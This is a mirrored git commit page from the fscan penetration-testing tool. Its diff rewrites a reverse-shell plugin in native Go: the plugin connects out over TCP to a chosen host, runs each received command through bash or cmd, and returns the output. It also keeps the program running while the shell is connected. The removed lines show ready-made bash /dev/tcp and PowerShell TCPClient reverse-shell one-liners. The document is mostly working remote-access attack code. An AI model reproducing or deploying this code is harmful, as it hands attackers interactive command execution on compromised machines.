mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00
fix: 修复反弹shell插件立即退出问题,改为纯Go原生实现
- 添加ReverseShellActive全局状态标志用于控制程序生命周期 - 修改Scanner.go检查活跃反弹shell并阻塞程序退出 - 重写reverseshell插件为纯Go原生TCP实现,移除PowerShell依赖 - 实现原生命令执行和交互式shell会话管理 - 修复多线程异步架构导致的连接立即断开问题
This commit is contained in:
parent
fc6dd50377
commit
551d36b998
@ -65,6 +65,7 @@ var (
|
||||
|
||||
// 反弹Shell相关变量
|
||||
ReverseShellTarget string
|
||||
ReverseShellActive bool // 反弹Shell是否处于活跃状态
|
||||
|
||||
// Parse.go 使用的变量
|
||||
HostPort []string
|
||||
|
@ -58,6 +58,15 @@ func RunScan(info common.HostInfo) {
|
||||
// 等待所有扫描完成
|
||||
wg.Wait()
|
||||
|
||||
// 检查是否有活跃的反弹Shell
|
||||
if common.ReverseShellActive {
|
||||
common.LogBase("检测到活跃的反弹Shell,保持程序运行...")
|
||||
common.LogBase("按 Ctrl+C 退出程序")
|
||||
|
||||
// 进入无限等待,保持程序运行以维持反弹Shell连接
|
||||
select {} // 阻塞等待,直到收到系统信号
|
||||
}
|
||||
|
||||
// 完成扫描
|
||||
finishScan()
|
||||
}
|
||||
|
@ -1,8 +1,10 @@
|
||||
package reverseshell
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
@ -51,9 +53,9 @@ func NewReverseShellPlugin() *ReverseShellPlugin {
|
||||
Name: "reverseshell",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "shell", "reverse", "crossplatform"},
|
||||
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
@ -131,9 +133,9 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行反弹Shell扫描
|
||||
// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现
|
||||
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始反弹Shell准备...")
|
||||
common.LogBase("启动Go原生反弹Shell...")
|
||||
|
||||
// 建立连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
@ -147,34 +149,135 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf
|
||||
|
||||
reverseShellConn := conn.(*ReverseShellConnection)
|
||||
|
||||
// 生成反弹Shell命令
|
||||
commands := p.generateReverseShellCommands()
|
||||
currentOS := runtime.GOOS
|
||||
command, exists := commands[currentOS]
|
||||
if !exists {
|
||||
// 启动反弹shell
|
||||
common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target))
|
||||
|
||||
// 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到
|
||||
err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS),
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "ReverseShell",
|
||||
Banner: fmt.Sprintf("反弹Shell准备就绪 - 目标: %s 平台: %s", reverseShellConn.Target, currentOS),
|
||||
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS),
|
||||
Extra: map[string]interface{}{
|
||||
"target": reverseShellConn.Target,
|
||||
"platform": currentOS,
|
||||
"command": command,
|
||||
"status": "ready",
|
||||
"commands": commands,
|
||||
"platform": runtime.GOOS,
|
||||
"implementation": "go_native",
|
||||
"status": "completed",
|
||||
},
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("反弹Shell扫描完成,目标: %s,平台: %s", reverseShellConn.Target, currentOS))
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
|
||||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
|
||||
// 连接到目标
|
||||
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
|
||||
|
||||
// 设置反弹Shell为活跃状态,告诉主程序保持运行
|
||||
common.ReverseShellActive = true
|
||||
defer func() {
|
||||
// 确保退出时清除活跃状态
|
||||
common.ReverseShellActive = false
|
||||
}()
|
||||
|
||||
// 发送欢迎消息
|
||||
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
|
||||
conn.Write([]byte(welcomeMsg))
|
||||
conn.Write([]byte("Type 'exit' to quit\n"))
|
||||
|
||||
// 创建读取器
|
||||
reader := bufio.NewReader(conn)
|
||||
|
||||
for {
|
||||
// 检查上下文取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
conn.Write([]byte("Shell session terminated by context\n"))
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 发送提示符
|
||||
prompt := fmt.Sprintf("%s> ", getCurrentDir())
|
||||
conn.Write([]byte(prompt))
|
||||
|
||||
// 读取命令
|
||||
cmdLine, err := reader.ReadString('\n')
|
||||
if err != nil {
|
||||
if err == io.EOF {
|
||||
common.LogBase("反弹Shell连接关闭")
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("读取命令错误: %v", err)
|
||||
}
|
||||
|
||||
// 清理命令
|
||||
cmdLine = strings.TrimSpace(cmdLine)
|
||||
if cmdLine == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// 检查退出命令
|
||||
if cmdLine == "exit" {
|
||||
conn.Write([]byte("Goodbye!\n"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行命令
|
||||
result := p.executeCommand(cmdLine)
|
||||
|
||||
// 发送结果
|
||||
conn.Write([]byte(result + "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
// executeCommand 执行系统命令
|
||||
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
// 根据操作系统选择命令解释器
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/C", cmdLine)
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("bash", "-c", cmdLine)
|
||||
default:
|
||||
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
// 执行命令并获取输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return fmt.Sprintf("错误: %v\n%s", err, string(output))
|
||||
}
|
||||
|
||||
return string(output)
|
||||
}
|
||||
|
||||
// getCurrentDir 获取当前目录
|
||||
func getCurrentDir() string {
|
||||
dir, err := os.Getwd()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetLocalData 获取反弹Shell本地数据
|
||||
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
@ -184,6 +287,7 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
|
||||
data["platform"] = runtime.GOOS
|
||||
data["arch"] = runtime.GOARCH
|
||||
data["target"] = p.target
|
||||
data["implementation"] = "go_native"
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
data["home_dir"] = homeDir
|
||||
@ -193,119 +297,16 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter
|
||||
data["work_dir"] = workDir
|
||||
}
|
||||
|
||||
// 生成命令
|
||||
data["commands"] = p.generateReverseShellCommands()
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据并执行反弹Shell
|
||||
func (p *ReverseShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
commands, ok := data["commands"].(map[string]string)
|
||||
if !ok {
|
||||
return &base.ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("无法获取反弹Shell命令"),
|
||||
}, nil
|
||||
}
|
||||
|
||||
currentOS := runtime.GOOS
|
||||
command, exists := commands[currentOS]
|
||||
if !exists {
|
||||
return &base.ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS),
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogBase(fmt.Sprintf("开始执行反弹Shell命令: %s", command))
|
||||
|
||||
// 执行反弹Shell命令
|
||||
result, err := p.executeReverseShell(ctx, command)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("反弹Shell执行失败: %v", err))
|
||||
return &base.ExploitResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
Extra: map[string]interface{}{
|
||||
"command": command,
|
||||
"platform": currentOS,
|
||||
"target": p.target,
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
common.LogSuccess("反弹Shell执行完成")
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("反弹Shell已执行,目标: %s", p.target),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"command": command,
|
||||
"platform": currentOS,
|
||||
"target": p.target,
|
||||
"output": result,
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// generateReverseShellCommands 生成不同平台的反弹Shell命令
|
||||
func (p *ReverseShellPlugin) generateReverseShellCommands() map[string]string {
|
||||
host, portStr, _ := net.SplitHostPort(p.target)
|
||||
if host == "" {
|
||||
host = p.target
|
||||
portStr = "4444"
|
||||
}
|
||||
|
||||
commands := map[string]string{
|
||||
"linux": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
|
||||
"darwin": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
|
||||
"windows": fmt.Sprintf("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('%s',%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", host, portStr),
|
||||
}
|
||||
|
||||
return commands
|
||||
}
|
||||
|
||||
// executeReverseShell 执行反弹Shell命令
|
||||
func (p *ReverseShellPlugin) executeReverseShell(ctx context.Context, command string) (string, error) {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
// Windows PowerShell命令
|
||||
cmd = exec.CommandContext(ctx, "powershell", "-Command", command)
|
||||
case "linux", "darwin":
|
||||
// Unix-like系统使用bash
|
||||
cmd = exec.CommandContext(ctx, "bash", "-c", command)
|
||||
default:
|
||||
return "", fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
|
||||
}
|
||||
|
||||
// 设置超时
|
||||
timeoutCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
cmd = exec.CommandContext(timeoutCtx, cmd.Args[0], cmd.Args[1:]...)
|
||||
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("执行反弹Shell命令失败: %v, 输出: %s", err, string(output))
|
||||
}
|
||||
|
||||
return string(output), nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *ReverseShellPlugin) GetInfo() string {
|
||||
commands := p.generateReverseShellCommands()
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString(fmt.Sprintf("反弹Shell插件 - 目标: %s\n", p.target))
|
||||
info.WriteString("支持的平台命令:\n")
|
||||
|
||||
for platform, command := range commands {
|
||||
info.WriteString(fmt.Sprintf(" %s: %s\n", platform, command))
|
||||
}
|
||||
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("实现方式: 纯Go原生,无外部依赖\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
@ -317,10 +318,10 @@ func RegisterReverseShellPlugin() {
|
||||
Name: "reverseshell",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||
Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS",
|
||||
Category: "local",
|
||||
Tags: []string{"reverseshell", "local", "shell", "crossplatform"},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewReverseShellPlugin()
|
||||
|
Loading…
Reference in New Issue
Block a user